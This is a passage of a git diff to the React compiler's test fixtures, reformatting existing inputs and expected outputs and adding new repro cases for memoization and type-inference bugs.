-import { isForgetEnabled_Fixtures } from "ReactForgetFeatureFlag";
-
-export default 42;
-
-```
-
-## Code
-
-```javascript
-// @gating
-import { isForgetEnabled_Fixtures } from "ReactForgetFeatureFlag";
-
-export default 42;
-
-```
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-no-gating-import-without-compiled-functions.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-no-gating-import-without-compiled-functions.js
deleted file mode 100644
index d91e445d1e2a..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-no-gating-import-without-compiled-functions.js
+++ /dev/null
@@ -1,4 +0,0 @@
-// @gating
-import { isForgetEnabled_Fixtures } from "ReactForgetFeatureFlag";
-
-export default 42;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-no-value-for-temporary-reactive-scope-with-early-return.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-no-value-for-temporary-reactive-scope-with-early-return.expect.md
index 48a29a8f8c8f..925470cc6a31 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-no-value-for-temporary-reactive-scope-with-early-return.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-no-value-for-temporary-reactive-scope-with-early-return.expect.md
@@ -3,8 +3,8 @@
 
 ```javascript
 // @flow @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions
-import { identity, makeObject_Primitives } from "shared-runtime";
-import fbt from "fbt";
+import {identity, makeObject_Primitives} from 'shared-runtime';
+import fbt from 'fbt';
 
 function Component(props) {
   const object = makeObject_Primitives();
@@ -16,8 +16,8 @@ function Component(props) {
   return (
     <div className="foo">
       {fbt(
-        "Lorum ipsum" + fbt.param("thing", object.b) + " blah blah blah",
-        "More text"
+        'Lorum ipsum' + fbt.param('thing', object.b) + ' blah blah blah',
+        'More text'
       )}
     </div>
   );
@@ -50,7 +50,6 @@ function Component(props) {
         t1 = null;
         break bb0;
       }
-
       t0 = (
         <div className="foo">
           {fbt._(
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-no-value-for-temporary-reactive-scope-with-early-return.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-no-value-for-temporary-reactive-scope-with-early-return.js
index 50824d662127..cb8461694124 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-no-value-for-temporary-reactive-scope-with-early-return.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-no-value-for-temporary-reactive-scope-with-early-return.js
@@ -1,6 +1,6 @@
 // @flow @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions
-import { identity, makeObject_Primitives } from "shared-runtime";
-import fbt from "fbt";
+import {identity, makeObject_Primitives} from 'shared-runtime';
+import fbt from 'fbt';
 
 function Component(props) {
   const object = makeObject_Primitives();
@@ -12,8 +12,8 @@ function Component(props) {
   return (
     <div className="foo">
       {fbt(
-        "Lorum ipsum" + fbt.param("thing", object.b) + " blah blah blah",
-        "More text"
+        'Lorum ipsum' + fbt.param('thing', object.b) + ' blah blah blah',
+        'More text'
       )}
     </div>
   );
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-no-value-for-temporary.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-no-value-for-temporary.expect.md
index 5eff1aa0fe5e..9bc14d550808 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-no-value-for-temporary.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-no-value-for-temporary.expect.md
@@ -21,13 +21,13 @@ function Component(listItem, thread) {
   let t0;
   let t1;
   let t2;
-  if ($[0] !== thread.threadType || $[1] !== listItem) {
+  if ($[0] !== listItem || $[1] !== thread.threadType) {
     const isFoo = isFooThread(thread.threadType);
     t1 = useBar;
     t2 = listItem;
     t0 = getBadgeText(listItem, isFoo);
-    $[0] = thread.threadType;
-    $[1] = listItem;
+    $[0] = listItem;
+    $[1] = thread.threadType;
     $[2] = t0;
     $[3] = t1;
     $[4] = t2;
@@ -45,6 +45,7 @@ function Component(listItem, thread) {
     t3 = $[6];
   }
   const body = t1(t2, t3);
+
   return body;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-non-identifier-object-keys.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-non-identifier-object-keys.expect.md
index 3a69e415c26a..99724578229c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-non-identifier-object-keys.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-non-identifier-object-keys.expect.md
@@ -4,11 +4,11 @@
 ```javascript
 function Foo() {
   return {
-    "a.b": 1,
-    "a\b": 2,
-    "a/b": 3,
-    "a+b": 4,
-    "a b": 5,
+    'a.b': 1,
+    'a\b': 2,
+    'a/b': 3,
+    'a+b': 4,
+    'a b': 5,
   };
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-non-identifier-object-keys.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-non-identifier-object-keys.ts
index 0d039fd1223c..aefd815a3440 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-non-identifier-object-keys.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-non-identifier-object-keys.ts
@@ -1,10 +1,10 @@
 function Foo() {
   return {
-    "a.b": 1,
-    "a\b": 2,
-    "a/b": 3,
-    "a+b": 4,
-    "a b": 5,
+    'a.b': 1,
+    'a\b': 2,
+    'a/b': 3,
+    'a+b': 4,
+    'a b': 5,
   };
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-object-expression-computed-key-modified-during-after-construction-hoisted-sequence-expr.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-object-expression-computed-key-modified-during-after-construction-hoisted-sequence-expr.expect.md
new file mode 100644
index 000000000000..407a97442505
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-object-expression-computed-key-modified-during-after-construction-hoisted-sequence-expr.expect.md
@@ -0,0 +1,90 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel
+import {identity, mutate} from 'shared-runtime';
+
+/**
+ * Fixed in the new inference model.
+ *
+ * Bug: copy of error.todo-object-expression-computed-key-modified-during-after-construction-sequence-expr
+ * with the mutation hoisted to a named variable instead of being directly
+ * inlined into the Object key.
+ *
+ * Found differences in evaluator results
+ *   Non-forget (expected):
+ *   (kind: ok) [{"[object Object]":[42]},{"wat0":"joe","wat1":"joe"}]
+ *   [{"[object Object]":[42]},{"wat0":"joe","wat1":"joe"}]
+ *   Forget:
+ *   (kind: ok) [{"[object Object]":[42]},{"wat0":"joe","wat1":"joe"}]
+ *   [{"[object Object]":[42]},{"wat0":"joe","wat1":"joe","wat2":"joe"}]
+ */
+function Component(props) {
+  const key = {};
+  const tmp = (mutate(key), key);
+  const context = {
+    // Here, `tmp` is frozen (as it's inferred to be a primitive/string)
+    [tmp]: identity([props.value]),
+  };
+  mutate(key);
+  return [context, key];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 42}],
+  sequentialRenders: [{value: 42}, {value: 42}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableNewMutationAliasingModel
+import { identity, mutate } from "shared-runtime";
+
+/**
+ * Fixed in the new inference model.
+ *
+ * Bug: copy of error.todo-object-expression-computed-key-modified-during-after-construction-sequence-expr
+ * with the mutation hoisted to a named variable instead of being directly
+ * inlined into the Object key.
+ *
+ * Found differences in evaluator results
+ *   Non-forget (expected):
+ *   (kind: ok) [{"[object Object]":[42]},{"wat0":"joe","wat1":"joe"}]
+ *   [{"[object Object]":[42]},{"wat0":"joe","wat1":"joe"}]
+ *   Forget:
+ *   (kind: ok) [{"[object Object]":[42]},{"wat0":"joe","wat1":"joe"}]
+ *   [{"[object Object]":[42]},{"wat0":"joe","wat1":"joe","wat2":"joe"}]
+ */
+function Component(props) {
+  const $ = _c(2);
+  let t0;
+  if ($[0] !== props.value) {
+    const key = {};
+    const tmp = (mutate(key), key);
+    const context = { [tmp]: identity([props.value]) };
+    mutate(key);
+    t0 = [context, key];
+    $[0] = props.value;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  return t0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ value: 42 }],
+  sequentialRenders: [{ value: 42 }, { value: 42 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) [{"[object Object]":[42]},{"wat0":"joe","wat1":"joe"}]
+[{"[object Object]":[42]},{"wat0":"joe","wat1":"joe"}]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-object-expression-computed-key-modified-during-after-construction-hoisted-sequence-expr.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-object-expression-computed-key-modified-during-after-construction-hoisted-sequence-expr.js
new file mode 100644
index 000000000000..71abb3bc497f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-object-expression-computed-key-modified-during-after-construction-hoisted-sequence-expr.js
@@ -0,0 +1,34 @@
+// @enableNewMutationAliasingModel
+import {identity, mutate} from 'shared-runtime';
+
+/**
+ * Fixed in the new inference model.
+ *
+ * Bug: copy of error.todo-object-expression-computed-key-modified-during-after-construction-sequence-expr
+ * with the mutation hoisted to a named variable instead of being directly
+ * inlined into the Object key.
+ *
+ * Found differences in evaluator results
+ *   Non-forget (expected):
+ *   (kind: ok) [{"[object Object]":[42]},{"wat0":"joe","wat1":"joe"}]
+ *   [{"[object Object]":[42]},{"wat0":"joe","wat1":"joe"}]
+ *   Forget:
+ *   (kind: ok) [{"[object Object]":[42]},{"wat0":"joe","wat1":"joe"}]
+ *   [{"[object Object]":[42]},{"wat0":"joe","wat1":"joe","wat2":"joe"}]
+ */
+function Component(props) {
+  const key = {};
+  const tmp = (mutate(key), key);
+  const context = {
+    // Here, `tmp` is frozen (as it's inferred to be a primitive/string)
+    [tmp]: identity([props.value]),
+  };
+  mutate(key);
+  return [context, key];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 42}],
+  sequentialRenders: [{value: 42}, {value: 42}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-object-fromEntries-entries.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-object-fromEntries-entries.expect.md
new file mode 100644
index 000000000000..b7ebcbc1cf6e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-object-fromEntries-entries.expect.md
@@ -0,0 +1,97 @@
+
+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees
+import {useMemo} from 'react';
+import {Stringify} from 'shared-runtime';
+
+// derived from https://github.com/facebook/react/issues/32261
+function Component({items}) {
+  const record = useMemo(
+    () =>
+      Object.fromEntries(
+        items.map(item => [item.id, ref => <Stringify ref={ref} {...item} />])
+      ),
+    [items]
+  );
+
+  // Without a declaration for Object.entries(), this would be assumed to mutate
+  // `record`, meaning existing memoization couldn't be preserved
+  return (
+    <div>
+      {Object.entries(record).map(([id, render]) => (
+        <Stringify key={id} render={render} />
+      ))}
+    </div>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [
+    {
+      items: [
+        {id: '0', name: 'Hello'},
+        {id: '1', name: 'World!'},
+      ],
+    },
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMemoizationGuarantees
+import { useMemo } from "react";
+import { Stringify } from "shared-runtime";
+
+// derived from https://github.com/facebook/react/issues/32261
+function Component(t0) {
+  const $ = _c(4);
+  const { items } = t0;
+  let t1;
+  if ($[0] !== items) {
+    t1 = Object.fromEntries(items.map(_temp));
+    $[0] = items;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const record = t1;
+  let t2;
+  if ($[2] !== record) {
+    t2 = <div>{Object.entries(record).map(_temp2)}</div>;
+    $[2] = record;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  return t2;
+}
+function _temp2(t0) {
+  const [id, render] = t0;
+  return <Stringify key={id} render={render} />;
+}
+function _temp(item) {
+  return [item.id, (ref) => <Stringify ref={ref} {...item} />];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [
+    {
+      items: [
+        { id: "0", name: "Hello" },
+        { id: "1", name: "World!" },
+      ],
+    },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div><div>{"render":"[[ function params=1 ]]"}</div><div>{"render":"[[ function params=1 ]]"}</div></div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-object-fromEntries-entries.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-object-fromEntries-entries.js
new file mode 100644
index 000000000000..7dd8f34826a0
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-object-fromEntries-entries.js
@@ -0,0 +1,36 @@
+// @validatePreserveExistingMemoizationGuarantees
+import {useMemo} from 'react';
+import {Stringify} from 'shared-runtime';
+
+// derived from https://github.com/facebook/react/issues/32261
+function Component({items}) {
+  const record = useMemo(
+    () =>
+      Object.fromEntries(
+        items.map(item => [item.id, ref => <Stringify ref={ref} {...item} />])
+      ),
+    [items]
+  );
+
+  // Without a declaration for Object.entries(), this would be assumed to mutate
+  // `record`, meaning existing memoization couldn't be preserved
+  return (
+    <div>
+      {Object.entries(record).map(([id, render]) => (
+        <Stringify key={id} render={render} />
+      ))}
+    </div>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [
+    {
+      items: [
+        {id: '0', name: 'Hello'},
+        {id: '1', name: 'World!'},
+      ],
+    },
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-object-pattern.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-object-pattern.expect.md
index cafe6bebeda0..ee19fc2e4c7d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-object-pattern.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-object-pattern.expect.md
@@ -3,14 +3,14 @@
 
 ```javascript
 function component(t) {
-  let { a } = t;
-  let y = { a };
+  let {a} = t;
+  let y = {a};
   return y;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: [{ a: 42 }],
+  params: [{a: 42}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-object-pattern.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-object-pattern.js
index 99f779bcd551..d02c5c64de61 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-object-pattern.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-object-pattern.js
@@ -1,10 +1,10 @@
 function component(t) {
-  let { a } = t;
-  let y = { a };
+  let {a} = t;
+  let y = {a};
   return y;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: [{ a: 42 }],
+  params: [{a: 42}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-preds-undefined-try-catch-return-primitive.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-preds-undefined-try-catch-return-primitive.expect.md
index 9842a7530972..618dea3e51a5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-preds-undefined-try-catch-return-primitive.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-preds-undefined-try-catch-return-primitive.expect.md
@@ -4,14 +4,14 @@
 ```javascript
 // @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions
 
-import { useMemo } from "react";
+import {useMemo} from 'react';
 
 const checkforTouchEvents = true;
 function useSupportsTouchEvent() {
   return useMemo(() => {
     if (checkforTouchEvents) {
       try {
-        document.createEvent("TouchEvent");
+        document.createEvent('TouchEvent');
         return true;
       } catch {
         return false;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-preds-undefined-try-catch-return-primitive.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-preds-undefined-try-catch-return-primitive.js
index a092ff44e04a..d5f912715d17 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-preds-undefined-try-catch-return-primitive.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-preds-undefined-try-catch-return-primitive.js
@@ -1,13 +1,13 @@
 // @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions
 
-import { useMemo } from "react";
+import {useMemo} from 'react';
 
 const checkforTouchEvents = true;
 function useSupportsTouchEvent() {
   return useMemo(() => {
     if (checkforTouchEvents) {
       try {
-        document.createEvent("TouchEvent");
+        document.createEvent('TouchEvent');
         return true;
       } catch {
         return false;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-preserve-memoization-inner-destructured-value-mistaken-as-dependency.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-preserve-memoization-inner-destructured-value-mistaken-as-dependency.expect.md
new file mode 100644
index 000000000000..abb45f88317d
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-preserve-memoization-inner-destructured-value-mistaken-as-dependency.expect.md
@@ -0,0 +1,110 @@
+
+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees
+
+import {identity, Stringify} from 'shared-runtime';
+
+/**
+ * Repro from https://github.com/facebook/react/issues/34262
+ *
+ * The compiler memoizes more precisely than the original code, with two reactive scopes:
+ * - One for `transform(input)` with `input` as dep
+ * - One for `{value}` with `value` as dep
+ *
+ * Previously ValidatePreservedManualMemoization rejected this input, because
+ * the original memoization had `object` depending on `input` but we split the scope per above,
+ * and the scope for the FinishMemoize instruction is the second scope which depends on `value`
+ */
+function useInputValue(input) {
+  const object = React.useMemo(() => {
+    const {value} = identity(input);
+    return {value};
+  }, [input]);
+  return object;
+}
+
+function Component() {
+  return <Stringify value={useInputValue({value: 42}).value} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMemoizationGuarantees
+
+import { identity, Stringify } from "shared-runtime";
+
+/**
+ * Repro from https://github.com/facebook/react/issues/34262
+ *
+ * The compiler memoizes more precisely than the original code, with two reactive scopes:
+ * - One for `transform(input)` with `input` as dep
+ * - One for `{value}` with `value` as dep
+ *
+ * Previously ValidatePreservedManualMemoization rejected this input, because
+ * the original memoization had `object` depending on `input` but we split the scope per above,
+ * and the scope for the FinishMemoize instruction is the second scope which depends on `value`
+ */
+function useInputValue(input) {
+  const $ = _c(4);
+  let t0;
+  if ($[0] !== input) {
+    t0 = identity(input);
+    $[0] = input;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  const { value } = t0;
+  let t1;
+  if ($[2] !== value) {
+    t1 = { value };
+    $[2] = value;
+    $[3] = t1;
+  } else {
+    t1 = $[3];
+  }
+  const object = t1;
+
+  return object;
+}
+
+function Component() {
+  const $ = _c(3);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = { value: 42 };
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  const t1 = useInputValue(t0);
+  let t2;
+  if ($[1] !== t1.value) {
+    t2 = <Stringify value={t1.value} />;
+    $[1] = t1.value;
+    $[2] = t2;
+  } else {
+    t2 = $[2];
+  }
+  return t2;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{}],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"value":42}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-preserve-memoization-inner-destructured-value-mistaken-as-dependency.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-preserve-memoization-inner-destructured-value-mistaken-as-dependency.js
new file mode 100644
index 000000000000..a9533ce44bbd
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-preserve-memoization-inner-destructured-value-mistaken-as-dependency.js
@@ -0,0 +1,31 @@
+// @validatePreserveExistingMemoizationGuarantees
+
+import {identity, Stringify} from 'shared-runtime';
+
+/**
+ * Repro from https://github.com/facebook/react/issues/34262
+ *
+ * The compiler memoizes more precisely than the original code, with two reactive scopes:
+ * - One for `transform(input)` with `input` as dep
+ * - One for `{value}` with `value` as dep
+ *
+ * Previously ValidatePreservedManualMemoization rejected this input, because
+ * the original memoization had `object` depending on `input` but we split the scope per above,
+ * and the scope for the FinishMemoize instruction is the second scope which depends on `value`
+ */
+function useInputValue(input) {
+  const object = React.useMemo(() => {
+    const {value} = identity(input);
+    return {value};
+  }, [input]);
+  return object;
+}
+
+function Component() {
+  return <Stringify value={useInputValue({value: 42}).value} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-propagate-type-of-ternary-jsx.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-propagate-type-of-ternary-jsx.expect.md
new file mode 100644
index 000000000000..32cbbb2b918a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-propagate-type-of-ternary-jsx.expect.md
@@ -0,0 +1,56 @@
+
+## Input
+
+```javascript
+function V0({v1, v2}: V3<{v1: any, v2: V4}>): V12.V11 {
+  const v5 = v1.v6?.v7;
+  return (
+    <Component8 c9={va} cb="apqjx">
+      {v5 != null ? (
+        <ComponentC cd={v5}>
+          <ComponentE cf={v1} c10={v2} />
+        </ComponentC>
+      ) : (
+        <ComponentE cf={v1} c10={v2} />
+      )}
+    </Component8>
+  );
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function V0(t0) {
+  const $ = _c(4);
+  const { v1, v2 } = t0;
+  const v5 = v1.v6?.v7;
+  let t1;
+  if ($[0] !== v1 || $[1] !== v2 || $[2] !== v5) {
+    t1 = (
+      <Component8 c9={va} cb="apqjx">
+        {v5 != null ? (
+          <ComponentC cd={v5}>
+            <ComponentE cf={v1} c10={v2} />
+          </ComponentC>
+        ) : (
+          <ComponentE cf={v1} c10={v2} />
+        )}
+      </Component8>
+    );
+    $[0] = v1;
+    $[1] = v2;
+    $[2] = v5;
+    $[3] = t1;
+  } else {
+    t1 = $[3];
+  }
+  return t1;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-propagate-type-of-ternary-jsx.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-propagate-type-of-ternary-jsx.js
new file mode 100644
index 000000000000..476ec9e35ac7
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-propagate-type-of-ternary-jsx.js
@@ -0,0 +1,14 @@
+function V0({v1, v2}: V3<{v1: any, v2: V4}>): V12.V11 {
+  const v5 = v1.v6?.v7;
+  return (
+    <Component8 c9={va} cb="apqjx">
+      {v5 != null ? (
+        <ComponentC cd={v5}>
+          <ComponentE cf={v1} c10={v2} />
+        </ComponentC>
+      ) : (
+        <ComponentE cf={v1} c10={v2} />
+      )}
+    </Component8>
+  );
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-propagate-type-of-ternary-nested.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-propagate-type-of-ternary-nested.expect.md
new file mode 100644
index 000000000000..d02aaa38fa6e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-propagate-type-of-ternary-nested.expect.md
@@ -0,0 +1,81 @@
+
+## Input
+
+```javascript
+function V0({v1}: V2<{v1?: V3}>): V2b.V2a {
+  const v4 = v5(V6.v7({v8: V9.va}));
+  const vb = (
+    <ComponentC cd="TxqUy" ce="oh`]uc" cf="Bdbo" c10={!V9.va && v11.v12}>
+      gmhubcw
+      {v1 === V3.V13 ? (
+        <c14 c15="L^]w\\T\\qrGmqrlQyrvBgf\\inuRdkEqwVPwixiriYGSZmKJf]E]RdT{N[WyVPiEJIbdFzvDohJV[BV`H[[K^xoy[HOGKDqVzUJ^h">
+          iawyneijcgamsfgrrjyvhjrrqvzexxwenxqoknnilmfloafyvnvkqbssqnxnexqvtcpvjysaiovjxyqrorqskfph
+        </c14>
+      ) : v16.v17('pyorztRC]EJzVuP^e') ? (
+        <c14 c15="CRinMqvmOknWRAKERI]RBzB_LXGKQe{SUpoN[\\gL[`bLMOhvFqDVVMNOdY">
+          goprinbjmmjhfserfuqyluxcewpyjihektogc
+        </c14>
+      ) : (
+        <c14 c15="H\\\\GAcTc\\lfGMW[yHriCpvW`w]niSIKj\\kdgFI">
+          yejarlvudihqdrdgpvahovggdnmgnueedxpbwbkdvvkdhqwrtoiual
+        </c14>
+      )}
+      hflmn
+    </ComponentC>
+  );
+  return vb;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function V0(t0) {
+  const $ = _c(2);
+  const { v1 } = t0;
+  v5(V6.v7({ v8: V9.va }));
+  let t1;
+  if ($[0] !== v1) {
+    t1 = (
+      <ComponentC cd="TxqUy" ce="oh`]uc" cf="Bdbo" c10={!V9.va && v11.v12}>
+        gmhubcw
+        {v1 === V3.V13 ? (
+          <c14
+            c15={
+              "L^]w\\\\T\\\\qrGmqrlQyrvBgf\\\\inuRdkEqwVPwixiriYGSZmKJf]E]RdT{N[WyVPiEJIbdFzvDohJV[BV`H[[K^xoy[HOGKDqVzUJ^h"
+            }
+          >
+            iawyneijcgamsfgrrjyvhjrrqvzexxwenxqoknnilmfloafyvnvkqbssqnxnexqvtcpvjysaiovjxyqrorqskfph
+          </c14>
+        ) : v16.v17("pyorztRC]EJzVuP^e") ? (
+          <c14
+            c15={
+              "CRinMqvmOknWRAKERI]RBzB_LXGKQe{SUpoN[\\\\gL[`bLMOhvFqDVVMNOdY"
+            }
+          >
+            goprinbjmmjhfserfuqyluxcewpyjihektogc
+          </c14>
+        ) : (
+          <c14 c15={"H\\\\\\\\GAcTc\\\\lfGMW[yHriCpvW`w]niSIKj\\\\kdgFI"}>
+            yejarlvudihqdrdgpvahovggdnmgnueedxpbwbkdvvkdhqwrtoiual
+          </c14>
+        )}
+        hflmn
+      </ComponentC>
+    );
+    $[0] = v1;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const vb = t1;
+
+  return vb;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-propagate-type-of-ternary-nested.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-propagate-type-of-ternary-nested.js
new file mode 100644
index 000000000000..74822160ae1a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-propagate-type-of-ternary-nested.js
@@ -0,0 +1,23 @@
+function V0({v1}: V2<{v1?: V3}>): V2b.V2a {
+  const v4 = v5(V6.v7({v8: V9.va}));
+  const vb = (
+    <ComponentC cd="TxqUy" ce="oh`]uc" cf="Bdbo" c10={!V9.va && v11.v12}>
+      gmhubcw
+      {v1 === V3.V13 ? (
+        <c14 c15="L^]w\\T\\qrGmqrlQyrvBgf\\inuRdkEqwVPwixiriYGSZmKJf]E]RdT{N[WyVPiEJIbdFzvDohJV[BV`H[[K^xoy[HOGKDqVzUJ^h">
+          iawyneijcgamsfgrrjyvhjrrqvzexxwenxqoknnilmfloafyvnvkqbssqnxnexqvtcpvjysaiovjxyqrorqskfph
+        </c14>
+      ) : v16.v17('pyorztRC]EJzVuP^e') ? (
+        <c14 c15="CRinMqvmOknWRAKERI]RBzB_LXGKQe{SUpoN[\\gL[`bLMOhvFqDVVMNOdY">
+          goprinbjmmjhfserfuqyluxcewpyjihektogc
+        </c14>
+      ) : (
+        <c14 c15="H\\\\GAcTc\\lfGMW[yHriCpvW`w]niSIKj\\kdgFI">
